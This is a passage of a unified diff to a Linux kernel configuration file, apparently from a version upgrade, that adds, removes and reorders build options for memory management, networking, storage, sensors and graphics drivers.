CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set CONFIG_BLK_DEBUG_FS=y # CONFIG_BLK_SED_OPAL is not set @@ -640,6 +670,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -679,38 +711,68 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set +# CONFIG_GUP_TEST is not set CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -722,6 +784,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -738,6 +801,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -756,10 +820,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -779,12 +841,13 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -799,8 +862,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -811,7 +874,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -846,6 +908,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -883,6 +947,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -892,6 +957,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -902,6 +968,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -921,9 +988,37 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -941,21 +1036,17 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support @@ -963,9 +1054,11 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 CONFIG_NVME_CORE=y CONFIG_BLK_DEV_NVME=y CONFIG_NVME_MULTIPATH=y +# CONFIG_NVME_VERBOSE_ERRORS is not set CONFIG_NVME_HWMON=y # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # @@ -988,9 +1081,9 @@ CONFIG_NVME_HWMON=y # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # @@ -1019,21 +1112,21 @@ CONFIG_NVME_HWMON=y # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y CONFIG_RAID_ATTRS=y +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1045,6 +1138,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1079,7 +1173,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_AIC94XX is not set # CONFIG_SCSI_MVSAS is not set # CONFIG_SCSI_MVUMI is not set -# CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_ARCMSR is not set # CONFIG_SCSI_ESAS2R is not set @@ -1090,8 +1183,8 @@ CONFIG_SCSI_MPT3SAS=y CONFIG_SCSI_MPT2SAS_MAX_SGE=128 CONFIG_SCSI_MPT3SAS_MAX_SGE=128 # CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set # CONFIG_SCSI_SMARTPQI is not set -# CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_MYRB is not set @@ -1100,7 +1193,6 @@ CONFIG_SCSI_MPT3SAS_MAX_SGE=128 # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_FDOMAIN_PCI is not set -# CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_ISCI is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set @@ -1133,6 +1225,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1203,12 +1296,6 @@ CONFIG_NET_CORE=y # CONFIG_VETH is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1222,23 +1309,26 @@ CONFIG_NET_VENDOR_ALACRITECH=y CONFIG_NET_VENDOR_AQUANTIA=y # CONFIG_AQTION is not set # CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set -CONFIG_NET_VENDOR_AURORA=y -# CONFIG_AURORA_NB8800 is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set CONFIG_NET_VENDOR_CADENCE=y # CONFIG_MACB is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set CONFIG_NET_VENDOR_CORTINA=y -# CONFIG_CX_ECAT is not set +CONFIG_NET_VENDOR_DAVICOM=y # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +CONFIG_NET_VENDOR_ENGLEDER=y +# CONFIG_TSNEP is not set # CONFIG_NET_VENDOR_EZCHIP is not set +CONFIG_NET_VENDOR_FUNGIBLE=y +# CONFIG_FUN_ETH is not set CONFIG_NET_VENDOR_GOOGLE=y # CONFIG_GVE is not set CONFIG_NET_VENDOR_HUAWEI=y @@ -1259,22 +1349,26 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +CONFIG_NET_VENDOR_WANGXUN=y +# CONFIG_NGBE is not set +# CONFIG_TXGBE is not set # CONFIG_JME is not set +CONFIG_NET_VENDOR_LITEX=y # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set CONFIG_NET_VENDOR_MICROCHIP=y # CONFIG_LAN743X is not set CONFIG_NET_VENDOR_MICROSEMI=y +CONFIG_NET_VENDOR_MICROSOFT=y # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +CONFIG_NET_VENDOR_NI=y +# CONFIG_NI_XGE_MANAGEMENT_ENET is not set # CONFIG_NET_VENDOR_NATSEMI is not set CONFIG_NET_VENDOR_NETERION=y # CONFIG_S2IO is not set -# CONFIG_VXGE is not set # CONFIG_NET_VENDOR_NETRONOME is not set -CONFIG_NET_VENDOR_NI=y -# CONFIG_NI_XGE_MANAGEMENT_ENET is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set @@ -1284,6 +1378,7 @@ CONFIG_NET_VENDOR_PACKET_ENGINES=y CONFIG_NET_VENDOR_PENSANDO=y # CONFIG_IONIC is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1291,11 +1386,11 @@ CONFIG_NET_VENDOR_PENSANDO=y # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SILAN is not set +# CONFIG_NET_VENDOR_SIS is not set CONFIG_NET_VENDOR_SOLARFLARE=y # CONFIG_SFC is not set # CONFIG_SFC_FALCON is not set -# CONFIG_NET_VENDOR_SILAN is not set -# CONFIG_NET_VENDOR_SIS is not set # CONFIG_NET_VENDOR_SMSC is not set CONFIG_NET_VENDOR_SOCIONEXT=y # CONFIG_NET_VENDOR_STMICRO is not set @@ -1303,15 +1398,18 @@ CONFIG_NET_VENDOR_SOCIONEXT=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set CONFIG_NET_VENDOR_XILINX=y +# CONFIG_XILINX_EMACLITE is not set # CONFIG_XILINX_AXI_EMAC is not set # CONFIG_XILINX_LL_TEMAC is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1323,26 +1421,28 @@ CONFIG_NET_VENDOR_XILINX=y # CONFIG_SLIP is not set # CONFIG_USB_NET_DRIVERS is not set # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1376,6 +1476,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1433,6 +1534,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1457,7 +1559,6 @@ CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 @@ -1474,9 +1575,7 @@ CONFIG_HW_RANDOM_AMD=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1484,6 +1583,8 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set # CONFIG_TCG_TIS_I2C_ATMEL is not set # CONFIG_TCG_TIS_I2C_INFINEON is not set # CONFIG_TCG_TIS_I2C_NUVOTON is not set @@ -1495,10 +1596,10 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1575,6 +1676,8 @@ CONFIG_I2C_ALGOBIT=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1583,6 +1686,7 @@ CONFIG_I2C_ALGOBIT=y # Other I2C/SMBus bus drivers # # CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1604,6 +1708,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1618,12 +1723,14 @@ CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set CONFIG_POWER_SUPPLY_HWMON=y # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set # CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1631,10 +1738,14 @@ CONFIG_POWER_SUPPLY_HWMON=y # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set CONFIG_HWMON=y # CONFIG_HWMON_DEBUG_CHIP is not set @@ -1657,18 +1768,19 @@ CONFIG_HWMON=y # CONFIG_SENSORS_ADT7462 is not set # CONFIG_SENSORS_ADT7470 is not set # CONFIG_SENSORS_ADT7475 is not set +# CONFIG_SENSORS_AHT10 is not set +# CONFIG_SENSORS_AQUACOMPUTER_D5NEXT is not set # CONFIG_SENSORS_AS370 is not set # CONFIG_SENSORS_ASC7621 is not set # CONFIG_SENSORS_AXI_FAN_CONTROL is not set # CONFIG_SENSORS_K8TEMP is not set # CONFIG_SENSORS_K10TEMP is not set # CONFIG_SENSORS_FAM15H_POWER is not set -# CONFIG_SENSORS_AMD_ENERGY is not set # CONFIG_SENSORS_APPLESMC is not set # CONFIG_SENSORS_ASB100 is not set -# CONFIG_SENSORS_ASPEED is not set # CONFIG_SENSORS_ATXP1 is not set # CONFIG_SENSORS_CORSAIR_CPRO is not set +# CONFIG_SENSORS_CORSAIR_PSU is not set # CONFIG_SENSORS_DRIVETEMP is not set # CONFIG_SENSORS_DS620 is not set # CONFIG_SENSORS_DS1621 is not set @@ -1698,11 +1810,14 @@ CONFIG_HWMON=y # CONFIG_SENSORS_LTC4245 is not set # CONFIG_SENSORS_LTC4260 is not set # CONFIG_SENSORS_LTC4261 is not set +# CONFIG_SENSORS_MAX127 is not set # CONFIG_SENSORS_MAX16065 is not set # CONFIG_SENSORS_MAX1619 is not set # CONFIG_SENSORS_MAX1668 is not set # CONFIG_SENSORS_MAX197 is not set # CONFIG_SENSORS_MAX31730 is not set +# CONFIG_SENSORS_MAX31760 is not set +# CONFIG_SENSORS_MAX6620 is not set # CONFIG_SENSORS_MAX6621 is not set # CONFIG_SENSORS_MAX6639 is not set # CONFIG_SENSORS_MAX6642 is not set @@ -1711,6 +1826,7 @@ CONFIG_HWMON=y # CONFIG_SENSORS_MAX31790 is not set # CONFIG_SENSORS_MCP3021 is not set # CONFIG_SENSORS_TC654 is not set +# CONFIG_SENSORS_TPS23861 is not set # CONFIG_SENSORS_MR75203 is not set # CONFIG_SENSORS_LM63 is not set # CONFIG_SENSORS_LM73 is not set @@ -1729,20 +1845,26 @@ CONFIG_HWMON=y # CONFIG_SENSORS_LM95245 is not set # CONFIG_SENSORS_PC87360 is not set # CONFIG_SENSORS_PC87427 is not set -# CONFIG_SENSORS_NTC_THERMISTOR is not set # CONFIG_SENSORS_NCT6683 is not set # CONFIG_SENSORS_NCT6775 is not set +# CONFIG_SENSORS_NCT6775_I2C is not set # CONFIG_SENSORS_NCT7802 is not set # CONFIG_SENSORS_NPCM7XX is not set +# CONFIG_SENSORS_NZXT_KRAKEN2 is not set +# CONFIG_SENSORS_NZXT_SMART2 is not set # CONFIG_SENSORS_PCF8591 is not set # CONFIG_PMBUS is not set +# CONFIG_SENSORS_SBTSI is not set +# CONFIG_SENSORS_SBRMI is not set # CONFIG_SENSORS_SHT21 is not set # CONFIG_SENSORS_SHT3x is not set +# CONFIG_SENSORS_SHT4x is not set # CONFIG_SENSORS_SHTC1 is not set # CONFIG_SENSORS_SIS5595 is not set # CONFIG_SENSORS_DME1737 is not set # CONFIG_SENSORS_EMC1403 is not set # CONFIG_SENSORS_EMC2103 is not set +# CONFIG_SENSORS_EMC2305 is not set # CONFIG_SENSORS_EMC6W201 is not set # CONFIG_SENSORS_SMSC47M1 is not set # CONFIG_SENSORS_SMSC47M192 is not set @@ -1754,6 +1876,7 @@ CONFIG_HWMON=y # CONFIG_SENSORS_AMC6821 is not set # CONFIG_SENSORS_INA209 is not set # CONFIG_SENSORS_INA2XX is not set +# CONFIG_SENSORS_INA238 is not set # CONFIG_SENSORS_INA3221 is not set # CONFIG_SENSORS_TC74 is not set # CONFIG_SENSORS_THMC50 is not set @@ -1762,6 +1885,7 @@ CONFIG_HWMON=y # CONFIG_SENSORS_TMP108 is not set # CONFIG_SENSORS_TMP401 is not set # CONFIG_SENSORS_TMP421 is not set +# CONFIG_SENSORS_TMP464 is not set # CONFIG_SENSORS_TMP513 is not set # CONFIG_SENSORS_VIA_CPUTEMP is not set # CONFIG_SENSORS_VIA686A is not set @@ -1784,6 +1908,8 @@ CONFIG_HWMON=y # # CONFIG_SENSORS_ACPI_POWER is not set # CONFIG_SENSORS_ATK0110 is not set +# CONFIG_SENSORS_ASUS_WMI is not set +# CONFIG_SENSORS_ASUS_EC is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set # CONFIG_THERMAL_STATISTICS is not set @@ -1811,6 +1937,8 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1858,19 +1986,21 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set @@ -1884,7 +2014,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1896,37 +2025,45 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set CONFIG_DRM=y -# CONFIG_DRM_DP_AUX_CHARDEV is not set # CONFIG_DRM_DEBUG_MM is not set -# CONFIG_DRM_DEBUG_SELFTEST is not set +CONFIG_DRM_USE_DYNAMIC_DEBUG=y CONFIG_DRM_KMS_HELPER=y -CONFIG_DRM_KMS_FB_HELPER=y # CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set CONFIG_DRM_FBDEV_EMULATION=y CONFIG_DRM_FBDEV_OVERALLOC=100 # CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM is not set # CONFIG_DRM_LOAD_EDID_FIRMWARE is not set +CONFIG_DRM_DISPLAY_HELPER=y +CONFIG_DRM_DISPLAY_DP_HELPER=y +CONFIG_DRM_DISPLAY_HDMI_HELPER=y +# 